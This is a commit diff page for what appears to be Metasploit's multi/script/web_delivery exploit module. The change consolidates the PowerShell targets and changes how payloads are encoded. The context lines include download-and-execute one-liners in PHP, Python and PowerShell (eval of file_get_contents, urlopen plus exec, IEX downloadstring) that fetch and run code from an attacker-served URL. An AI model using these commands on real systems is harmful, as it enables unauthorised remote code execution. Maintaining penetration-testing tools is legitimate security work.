Skip to content

Commit bff8a73

Browse files
committed
Fix and be Architecture Agnostic
1 parent 5a25120 commit bff8a73

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -55,13 +55,9 @@ def initialize(info = {})
5555
'Platform' => 'php',
5656
'Arch' => ARCH_PHP
5757
}],
58-
['PSH_x86', {
58+
['PSH', {
5959
'Platform' => 'win',
60-
'Arch' => ARCH_X86
61-
}],
62-
['PSH_x64', {
63-
'Platform' => 'win',
64-
'Arch' => ARCH_X86_64
60+
'Arch' => [ARCH_X86, ARCH_X86_64]
6561
}]
6662
],
6763
'DefaultTarget' => 0,
@@ -72,7 +68,11 @@ def initialize(info = {})
7268
def on_request_uri(cli, _request)
7369
print_status('Delivering Payload')
7470
if target.name.include? 'PSH'
75-
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
71+
data = cmd_psh_payload(payload.encoded,
72+
payload_instance.arch.first,
73+
remove_comspec: true,
74+
use_single_quotes: true
75+
)
7676
else
7777
data = %Q(#{payload.encoded} )
7878
end
@@ -87,7 +87,7 @@ def primer
8787
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
8888
when 'Python'
8989
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
90-
when 'PSH_x86', 'PSH_x64'
90+
when 'PSH'
9191
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
9292
print_line generate_psh_command_line(
9393
noprofile: true,

0 commit comments

Comments
 (0)